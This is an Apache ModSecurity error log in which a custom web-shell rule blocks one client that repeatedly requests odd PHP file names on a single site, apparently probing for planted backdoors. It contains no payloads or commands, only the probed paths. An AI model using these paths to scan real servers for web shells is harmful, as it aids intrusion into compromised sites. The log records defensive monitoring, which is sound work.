[Wed Apr 08 01:52:42.002567 2026] [:error] [pid 5246:tid 5270] [client 20.234.13.12:5010] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "adVEahLpySxaVC8kLEZwbgAAANQ"]
[Wed Apr 08 01:52:42.506098 2026] [:error] [pid 4840:tid 5163] [client 20.234.13.12:5119] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "adVEahsUwg2fEe9p9LTGVwAAAAM"]
[Wed Apr 08 01:52:43.014074 2026] [:error] [pid 303:tid 320] [client 20.234.13.12:7210] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/store.php"] [unique_id "adVEa89wWR0DHTrNMujijwAAAU4"]
[Wed Apr 08 01:52:43.524865 2026] [:error] [pid 303:tid 316] [client 20.234.13.12:4993] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/store.php"] [unique_id "adVEa89wWR0DHTrNMujikgAAAUo"]
[Wed Apr 08 01:52:44.079066 2026] [:error] [pid 5337:tid 5381] [client 20.234.13.12:4415] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/store.php"] [unique_id "adVEbCboIFdw6tlcN13rqAAAARc"]
[Wed Apr 08 01:52:44.581804 2026] [:error] [pid 303:tid 310] [client 20.234.13.12:5046] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/store.php"] [unique_id "adVEbM9wWR0DHTrNMujimgAAAUQ"]
[Wed Apr 08 01:52:45.150597 2026] [:error] [pid 4840:tid 5165] [client 20.234.13.12:4373] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "adVEbRsUwg2fEe9p9LTGWgAAAAU"]
[Wed Apr 08 01:52:45.663250 2026] [:error] [pid 5337:tid 5373] [client 20.234.13.12:7281] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "adVEbSboIFdw6tlcN13rrwAAAQ8"]
[Wed Apr 08 01:52:46.220418 2026] [:error] [pid 5246:tid 5273] [client 20.234.13.12:5001] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "adVEbhLpySxaVC8kLEZwdgAAANc"]
[Wed Apr 08 01:52:46.725006 2026] [:error] [pid 5337:tid 5380] [client 20.234.13.12:5083] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "adVEbiboIFdw6tlcN13rsgAAARY"]
[Wed Apr 08 01:52:47.287749 2026] [:error] [pid 5337:tid 5374] [client 20.234.13.12:5000] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "adVEbyboIFdw6tlcN13rtQAAARA"]
[Wed Apr 08 01:52:47.790561 2026] [:error] [pid 5337:tid 5371] [client 20.234.13.12:4383] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "adVEbyboIFdw6tlcN13rtwAAAQ0"]
[Wed Apr 08 01:52:48.294749 2026] [:error] [pid 5246:tid 5259] [client 20.234.13.12:5112] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "adVEcBLpySxaVC8kLEZwegAAAMk"]
[Wed Apr 08 01:52:48.801406 2026] [:error] [pid 5337:tid 5372] [client 20.234.13.12:5012] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "adVEcCboIFdw6tlcN13rvQAAAQ4"]
[Wed Apr 08 01:52:49.307615 2026] [:error] [pid 5246:tid 5274] [client 20.234.13.12:5002] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpyur.php"] [unique_id "adVEcRLpySxaVC8kLEZwfAAAANg"]
[Wed Apr 08 01:52:49.816415 2026] [:error] [pid 303:tid 318] [client 20.234.13.12:4998] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpyur.php"] [unique_id "adVEcc9wWR0DHTrNMujipAAAAUw"]
[Wed Apr 08 01:52:50.343089 2026] [:error] [pid 303:tid 309] [client 20.234.13.12:4934] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpyur.php"] [unique_id "adVEcs9wWR0DHTrNMujipgAAAUM"]
[Wed Apr 08 01:52:50.856420 2026] [:error] [pid 5337:tid 5359] [client 20.234.13.12:5011] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpyur.php"] [unique_id "adVEciboIFdw6tlcN13rwQAAAQE"]
[Wed Apr 08 01:52:51.361082 2026] [:error] [pid 5246:tid 5251] [client 20.234.13.12:4942] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wglum.php"] [unique_id "adVEcxLpySxaVC8kLEZwggAAAME"]
[Wed Apr 08 01:52:51.879230 2026] [:error] [pid 5246:tid 5260] [client 20.234.13.12:5098] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wglum.php"] [unique_id "adVEcxLpySxaVC8kLEZwhQAAAMo"]
[Wed Apr 08 01:52:52.379203 2026] [:error] [pid 303:tid 313] [client 20.234.13.12:4941] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wglum.php"] [unique_id "adVEdM9wWR0DHTrNMujirAAAAUc"]
[Wed Apr 08 01:52:52.886903 2026] [:error] [pid 303:tid 315] [client 20.234.13.12:7213] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wglum.php"] [unique_id "adVEdM9wWR0DHTrNMujisAAAAUk"]
[Wed Apr 08 01:52:53.393057 2026] [:error] [pid 5337:tid 5380] [client 20.234.13.12:5091] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "adVEdSboIFdw6tlcN13rygAAARY"]
[Wed Apr 08 01:52:53.919084 2026] [:error] [pid 5337:tid 5361] [client 20.234.13.12:5061] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "adVEdSboIFdw6tlcN13rzwAAAQM"]
[Wed Apr 08 01:52:54.421104 2026] [:error] [pid 5246:tid 5270] [client 20.234.13.12:5088] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "adVEdhLpySxaVC8kLEZwiQAAANQ"]
[Wed Apr 08 01:52:54.984321 2026] [:error] [pid 303:tid 315] [client 20.234.13.12:4411] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "adVEds9wWR0DHTrNMujiuAAAAUk"]
[Wed Apr 08 01:52:55.497764 2026] [:error] [pid 5246:tid 5266] [client 20.234.13.12:4364] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp8.php"] [unique_id "adVEdxLpySxaVC8kLEZwjgAAANA"]
[Wed Apr 08 01:52:56.001786 2026] [:error] [pid 5337:tid 5369] [client 20.234.13.12:5065] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp8.php"] [unique_id "adVEeCboIFdw6tlcN13r1AAAAQs"]
[Wed Apr 08 01:52:56.517968 2026] [:error] [pid 303:tid 319] [client 20.234.13.12:5082] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp8.php"] [unique_id "adVEeM9wWR0DHTrNMujivgAAAU0"]
[Wed Apr 08 01:52:57.026579 2026] [:error] [pid 303:tid 316] [client 20.234.13.12:5114] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp8.php"] [unique_id "adVEec9wWR0DHTrNMujiwQAAAUo"]
[Wed Apr 08 01:52:57.537578 2026] [:error] [pid 303:tid 320] [client 20.234.13.12:4369] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "adVEec9wWR0DHTrNMujixQAAAU4"]
[Wed Apr 08 01:52:58.057136 2026] [:error] [pid 303:tid 307] [client 20.234.13.12:5086] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "adVEes9wWR0DHTrNMujiyAAAAUE"]
[Wed Apr 08 01:52:58.562492 2026] [:error] [pid 4860:tid 5237] [client 20.234.13.12:4398] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "adVEegn6KmY32L3WSeHG4QAAAJY"]
[Wed Apr 08 01:52:59.076041 2026] [:error] [pid 303:tid 326] [client 20.234.13.12:5045] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "adVEe89wWR0DHTrNMujiywAAAVQ"]
[Wed Apr 08 01:52:59.585711 2026] [:error] [pid 5337:tid 5360] [client 20.234.13.12:5043] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gilo.php"] [unique_id "adVEeyboIFdw6tlcN13r3gAAAQI"]
[Wed Apr 08 01:53:00.109380 2026] [:error] [pid 5246:tid 5254] [client 20.234.13.12:4931] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gilo.php"] [unique_id "adVEfBLpySxaVC8kLEZwkgAAAMQ"]
[Wed Apr 08 01:53:00.612451 2026] [:error] [pid 5246:tid 5272] [client 20.234.13.12:5109] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gilo.php"] [unique_id "adVEfBLpySxaVC8kLEZwlAAAANY"]
[Wed Apr 08 01:53:01.116412 2026] [:error] [pid 5337:tid 5382] [client 20.234.13.12:5095] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gilo.php"] [unique_id "adVEfSboIFdw6tlcN13r4QAAARg"]
[Wed Apr 08 01:53:01.628478 2026] [:error] [pid 5246:tid 5268] [client 20.234.13.12:5080] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adVEfRLpySxaVC8kLEZwlwAAANI"]
[Wed Apr 08 01:53:02.130014 2026] [:error] [pid 4842:tid 5200] [client 20.234.13.12:4995] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adVEfpdncJIGbBiMOXTHbAAAAEw"]
[Wed Apr 08 01:53:02.637633 2026] [:error] [pid 5337:tid 5365] [client 20.234.13.12:4414] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adVEfiboIFdw6tlcN13r6AAAAQc"]
[Wed Apr 08 01:53:03.146083 2026] [:error] [pid 303:tid 324] [client 20.234.13.12:4992] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adVEf89wWR0DHTrNMuji0gAAAVI"]
[Wed Apr 08 01:53:03.656364 2026] [:error] [pid 5337:tid 5382] [client 20.234.13.12:5094] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7r.php"] [unique_id "adVEfyboIFdw6tlcN13r8QAAARg"]
[Wed Apr 08 01:53:04.159975 2026] [:error] [pid 5246:tid 5265] [client 20.234.13.12:5048] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7r.php"] [unique_id "adVEgBLpySxaVC8kLEZwmQAAAM8"]
[Wed Apr 08 01:53:04.667456 2026] [:error] [pid 303:tid 316] [client 20.234.13.12:5047] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7r.php"] [unique_id "adVEgM9wWR0DHTrNMuji2gAAAUo"]
[Wed Apr 08 01:53:05.170199 2026] [:error] [pid 5246:tid 5272] [client 20.234.13.12:5006] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7r.php"] [unique_id "adVEgRLpySxaVC8kLEZwoQAAANY"]
[Wed Apr 08 01:53:05.717297 2026] [:error] [pid 5337:tid 5362] [client 20.234.13.12:5035] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riz.php"] [unique_id "adVEgSboIFdw6tlcN13r-QAAAQQ"]
[Wed Apr 08 01:53:06.220022 2026] [:error] [pid 5337:tid 5368] [client 20.234.13.12:4947] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riz.php"] [unique_id "adVEgiboIFdw6tlcN13r-wAAAQo"]
[Wed Apr 08 01:53:06.799591 2026] [:error] [pid 5337:tid 5359] [client 20.234.13.12:5074] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riz.php"] [unique_id "adVEgiboIFdw6tlcN13sAAAAAQE"]
[Wed Apr 08 01:53:07.314574 2026] [:error] [pid 5246:tid 5255] [client 20.234.13.12:7176] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riz.php"] [unique_id "adVEgxLpySxaVC8kLEZwpgAAAMU"]
[Wed Apr 08 01:53:07.829813 2026] [:error] [pid 5337:tid 5368] [client 20.234.13.12:4997] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp3.php"] [unique_id "adVEgyboIFdw6tlcN13sCAAAAQo"]
[Wed Apr 08 01:53:08.333500 2026] [:error] [pid 5337:tid 5359] [client 20.234.13.12:5037] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp3.php"] [unique_id "adVEhCboIFdw6tlcN13sCwAAAQE"]
[Wed Apr 08 01:53:08.837354 2026] [:error] [pid 5337:tid 5378] [client 20.234.13.12:4931] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp3.php"] [unique_id "adVEhCboIFdw6tlcN13sEgAAARQ"]
[Wed Apr 08 01:53:09.348304 2026] [:error] [pid 5246:tid 5257] [client 20.234.13.12:5107] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp3.php"] [unique_id "adVEhRLpySxaVC8kLEZwrQAAAMc"]
[Wed Apr 08 01:53:09.860935 2026] [:error] [pid 4842:tid 5205] [client 20.234.13.12:5032] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "adVEhZdncJIGbBiMOXTHdwAAAFE"]
[Wed Apr 08 01:53:10.363478 2026] [:error] [pid 5337:tid 5366] [client 20.234.13.12:5036] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "adVEhiboIFdw6tlcN13sFwAAAQg"]
[Wed Apr 08 01:53:10.871985 2026] [:error] [pid 5246:tid 5270] [client 20.234.13.12:4994] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "adVEhhLpySxaVC8kLEZwsQAAANQ"]
